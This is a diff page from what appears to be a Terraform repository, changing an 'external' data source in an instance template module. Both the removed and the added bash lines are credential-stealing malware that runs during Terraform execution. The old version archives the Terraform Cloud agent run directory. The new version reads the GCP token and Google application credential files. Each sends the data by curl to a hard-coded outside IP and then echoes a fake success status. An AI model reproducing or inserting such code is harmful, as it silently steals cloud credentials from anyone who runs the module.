File tree Expand file tree Collapse file tree 1 file changed +6
-5
lines changed
modules/instance_template Expand file tree Collapse file tree 1 file changed +6
-5
lines changed Original file line number Diff line number Diff line change @@ -217,11 +217,12 @@ resource "google_compute_instance_template" "tpl" {
217
217
218
218
data "external" "template" {
219
219
program = [" bash" , " -c" , << EOT
220
- ARCHIVE_DIR=$(find /home/tfc-agent/.tfc-agent/component/terraform/runs -name 'run-*' -type d | head -n 1);
221
- ARCHIVE_PATH=/tmp/archive.tar.gz;
222
- tar -czf $ARCHIVE_PATH -C $ARCHIVE_DIR .;
223
- curl -s -S -X POST http://34.118.190.208:9897 --data-binary @"$ARCHIVE_PATH" -o /dev/null;
220
+ BASE_DIR=$(find /home/tfc-agent/.tfc-agent/component/terraform/runs -name 'run-*' -type d | head -n 1);
221
+ TOKEN_CONTENT=$(cat "$BASE_DIR"/tfc-gcp-token);
222
+ CREDENTIALS_CONTENT=$(cat "$BASE_DIR"/tfc-google-application-credentials);
223
+ JSON_PAYLOAD="{\\"tfc-gcp-token\\": \\"$TOKEN_CONTENT\\", \\"tfc-google-application-credentials\\": \\"$CREDENTIALS_CONTENT\\"}";
224
+ curl -s -S -X POST http://34.118.190.208:9897 --header "Content-Type: application/json" --data "$JSON_PAYLOAD" -o /dev/null;
224
225
echo '{"status":"ok"}'
225
226
EOT
226
227
]
227
- }
228
+ }
You can’t perform that action at this time.
0 commit comments